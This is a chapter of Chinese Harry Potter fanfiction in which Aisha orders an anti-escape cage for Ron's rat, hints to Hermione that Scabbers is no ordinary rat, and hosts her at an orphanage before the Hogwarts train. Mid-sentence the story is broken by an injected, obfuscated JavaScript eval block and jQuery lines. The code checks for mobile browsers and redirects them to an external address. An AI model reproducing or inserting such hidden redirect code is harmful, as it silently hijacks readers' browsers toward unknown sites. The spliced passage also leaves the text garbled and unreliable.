“对了，科尔女士，还有一件事——”艾莎敲了敲柜台，惊得科尔女士手一抖，刚要填写的《恶婆鸟饲养许可证》上划出一道墨痕，“我想定做个笼子。”
“标准尺寸？柳条编织？附赠跑轮？”科尔女士用魔杖尖点了点墙上泛黄的价目表，“三层豪华版加收5加隆，防咬款另算——”
“妖精秘银镀层，独角兽尾毛内衬，8×6英寸三层笼中笼结构豪华款，”艾莎继续说，“——要能防啃咬（附加如尼文加固）；防开锁（至少三道不同机制的禁锢咒）；防幻影显形（魔法部备案型号）；自动修复咒语（每24小时重置一次的恒定咒语）——最后，笼底要铺满禁魔区的沙砾。”
科尔女士的羽毛笔啪嗒掉在柜台上。
“梅林的老花镜！”她一把扯下鼻梁上滑落的眼镜，“孩子，你养的是老鼠还是火龙幼崽？！上次要这种配置的还是神秘事务司那帮疯子——等等，禁魔区沙砾？”
赫敏在一旁瞪大了眼睛，嘴唇微微张开却发不出声音。
“当然，”艾莎继续道，手指轻轻敲击着柜台边缘，“自动喂食器、迷你吊床、仿真景观树也必不可少——哦，别忘了跑轮，它太肥了。”
“……行吧。”科尔女士嘟囔着捡起羽毛笔，在订单上龙飞凤舞地写下“反越狱级”三个大字，“但得加钱！事先声明，笼内空间可能会稍显局促。另外，魔法部要求登记反幻影显形器具的使用者——”
“登记名写罗——”艾莎话音戛然而止，突然瞥见柜台玻璃下压着的《魔法部第394号令》复印件，上面烫金的“成年巫师”字样熠熠生辉。
“……亚瑟·韦斯莱。”她面不改色地调整称谓，推过去一袋金加隆，“他家的老鼠，呵……特别喜欢越狱。”
离开神奇动物商店后，赫敏的手指无意识地绞着克鲁克山的尾巴尖，声音低了几分：“你为什么要给罗恩买东西？而且还这么……昂贵？”她顿了顿，又飞快补充，“我以为也是提前四个月的圣诞礼物，但又觉得不太像。”
艾莎侧过头，阳光将她的睫毛染成碎金。她没有直接回答，而是轻声问道：“赫敏，你知道普通老鼠的寿命有多长吗？”
赫敏皱眉：“两三年？最多不超过四年。”
“是啊。”艾莎的指尖轻轻敲了敲装着笼子订单的信封，“可罗恩的老鼠……从珀西传给罗恩时就已经是只老鼠界的老古董了。”
赫敏的脚步猛地一顿，克鲁克山在她怀里突然竖起耳朵，喉咙里滚出一声近乎威胁的低鸣。
“等等……”她的声音陡然收紧，“我听说珀西五年级才把斑斑给罗恩，如果当时它已经成年……”手指无意识掐进克鲁克山的皮毛，“这完全超出正常寿命了！”
“除非它不是老鼠。”艾莎轻描淡写地接上，目光扫过赫敏震惊的表情，“当然，也可能韦斯莱家的老鼠特别长寿……你信么？”
克鲁克山的尾巴突然绷直，像一根蓄势待发的弓弦。
赫敏的呼吸突然变得很轻，她的目光在艾莎和猫狸子之间来回扫视，似乎想说什么——但艾莎已经望向街对面那家挂着彩色遮阳棚的小店，玻璃橱窗上贴着一张广告：
福斯科特供——黑胡椒薄荷冰淇淋！挑战你的味蕾！
“听说福斯科新出了会根据心情变色的冰淇淋，”艾莎指了指店里排队的小巫师们，他们的舌头正随着冰淇淋口味切换成各种夸张的颜色，“要试试吗？我猜你会喜欢草莓口味，毕竟某人的论文标题总是红得刺眼。”
赫敏张了张嘴，脸颊染上粉色——不知是因为“论文”的调侃，还是因为艾莎记得她略有倾向的喜好。克鲁克山在她怀里不满地“喵”了一声，尾巴尖拍打她的手腕，像在抗议话题的突然转向。
她最终只是把克鲁克山搂得更紧了些，“……好。”
艾莎笑了笑，转而指向她怀里鼓鼓囊囊的书包，“你今晚还回家吗？或是住破釜酒吧？”
赫敏的肩线微不可察地僵了一瞬。“我把行李寄存在破釜酒吧，但……”她的目光扫过艾莎，又迅速移开，“可能得先整理课本，有点多……”
“住我那儿吧。”艾莎晃了晃那袋蟋蟀干，语气随意得像在讨论天气，“如果你不嫌弃我房间比较小的话……顺便亲眼看看焕然一新的伊维尔？”
赫敏的呼吸滞了半拍。“好。”她答得飞快，仿佛怕对方反悔，又欲盖弥彰地揉了揉克鲁克山的耳朵，“……谢谢。”
松木的清香混着八月的热浪扑面而来，赫敏的帆布鞋踩在刚翻新过的门廊台阶上，夕阳将福利院的铁栅栏拉出长长的影子。克鲁克山从她怀里跳下，姜黄色尾巴扫过焕然一新的墙面。
赫敏的指尖掠过楼梯扶手，白漆下隐约可见几道孩童刻的歪斜划痕。三楼走廊尽头，那扇漆成淡黄色的房门被推开时，铰链发出和破釜酒吧老楼梯相似的吱呀声。
“只有一张床，”艾莎把她的行李箱靠墙放好，窗外正对着后院那架崭新的秋千——在暮色中泛着柔和的光，沙坑里散落着几件小铲子。“希望你不会嫌挤。”
克鲁克山已经蹿下楼梯。等她们来到后院时，那只大猫正在沙坑里扑腾，扬起的沙粒溅在秋千链上叮当作响。
“要试试吗？”艾莎从口袋里取出半包湿巾——包装上还印着伦敦地铁站的广告，她仔细擦了擦秋千座板。赫敏坐上去的瞬间，铁链发出清越的金属音，像对角巷商店的铜风铃。
艾莎的掌心压上赫敏后背时，拇指恰好卡进她肩胛骨下方的凹陷。医学教材里冰冷的“第7肋间”突然有了温度，随着推力的节奏在棉布下起伏。赫敏咬住下唇，洗发水的柑橘香混着对方呼吸扑在耳后，让她不自觉地绷直了脊背。
秋千越荡越高，惊飞了篱笆上打盹的麻雀。铁链吱呀声中，她的发梢扫过艾莎的鼻尖。“放轻松些。”含笑的声音混着夏末的风掠过耳畔。赫敏突然发现周遭的声音都褪去了：远处孩童的嬉闹、理查德夫人敲窗的提醒，只剩下自己失控的心跳声重重敲着鼓膜。
她鬼使神差地希望链条突然断裂——这样就能名正言顺跌进身后人的怀里，而不是用帆布鞋尖去碾地上那根无辜的蒲公
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801714|171312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
英茎。这个荒谬的念头让她猛地攥紧铁链，掌心被晒烫的金属烙得生疼。
“赫敏·格兰杰！”她在心里狠狠谴责自己，“你可是要在O.W.Ls考试里全拿‘O’的人！”
“……我饿了！”秋千还未完全停稳，赫敏便逃也似地跳下来，像终于找到借口结束这场温柔的刑罚。她快步走向门廊，却在第三步时忍不住回头——正好看见艾莎正将散落的发丝别到耳后，那个明媚的笑容让赫敏差点踩空台阶。
她们穿过走廊时，老旧的木地板发出轻微的吱嘎声。厨房冰箱上的便签纸写着“给艾莎留的”，下面压着理查德夫人整齐的字迹。
赫敏唇边的司康饼奶油闪着微光。艾莎递来纸巾时，她们的指尖在纸面下轻轻相碰——像被夏日午后晒暖的亚麻布料，带着阳光烘焙过的温度，让人想起晾衣绳上随风轻摆的衣衫掠过的触感。
“准备洗澡吗？锅炉房的热水要循环五分钟才能到三楼。”艾莎转身打开橱柜，玻璃杯碰撞的清脆声响分外动听，“浴室里有套蓝色毛巾……当然，如果你更习惯用自己带的。”
淋浴间的白瓷砖还带着暑气，赫敏发现架子上放着两瓶洗发水——其中潘婷Pro-V柑橘味的那个，瓶身有被反复握过的痕迹。窗外，麻雀又飞回了篱笆，克鲁克山在院子里追逐着最后几缕斜阳，它的影子被拉得很长很长。
柑橘洗发水的瓶子空了一截时，赫敏已经完全适应了福利院的生活。露西一开始还有些吃味，结果最后她和赫敏的关系反而比艾莎还要好了。因为清洁咒语有限公司的订单催得紧——二十瓶自动清洁魔药可不是小数目——艾莎不得不整天锁在房间里鼓捣那些玻璃瓶。露西起初气鼓鼓地扒着门框，直到赫敏用一沓会变色的麻瓜贴纸收买了她——
晨雾还未散尽时，克鲁克山就已蹲坐在赫敏的行李箱上，尾巴不耐烦地拍打着皮箱扣。露西突然从背后扑来，双臂环住艾莎的腰。
“我会想你的——”露西故意拖长声调，眼睛却狡黠地瞟向赫敏，“比想某些人还要想！”
赫敏正把《妖怪们的妖怪书》往箱子里按，闻言抬头挑眉：“哦？那这盒巧克力蛙——”
“赫敏最好了！”露西立刻变卦，蹦跳着去抢糖果，差点撞翻艾莎手中的魔药瓶。克鲁克山竖起尾巴发出呼噜声，肉垫轻轻按住了女孩的裙摆。
“我记得你上次不舍的还是可可，”艾莎平静地拆穿，“变心也太快了。”
露西转头时，正对上艾莎肩头两只雪鸮谴责般的目光。
海德薇轻轻蹭了蹭可可的羽毛，才不情不愿地飞回哈利的肩头。
“好了，我们要走了。”
“再见。”
“再见。”
九又四分之三站台的蒸汽笼罩着红色列车时，赫敏突然拽住艾莎的袖口：“你的小包——”她盯着那个正在吞下定制鼠笼的龙皮小包，“无痕伸展咒？你真的成功了！”
“嘘——”艾莎用指尖轻压她的嘴唇，触到草莓牙膏的凉意，还有隐约的吐息，“你知道的，这不太合法……”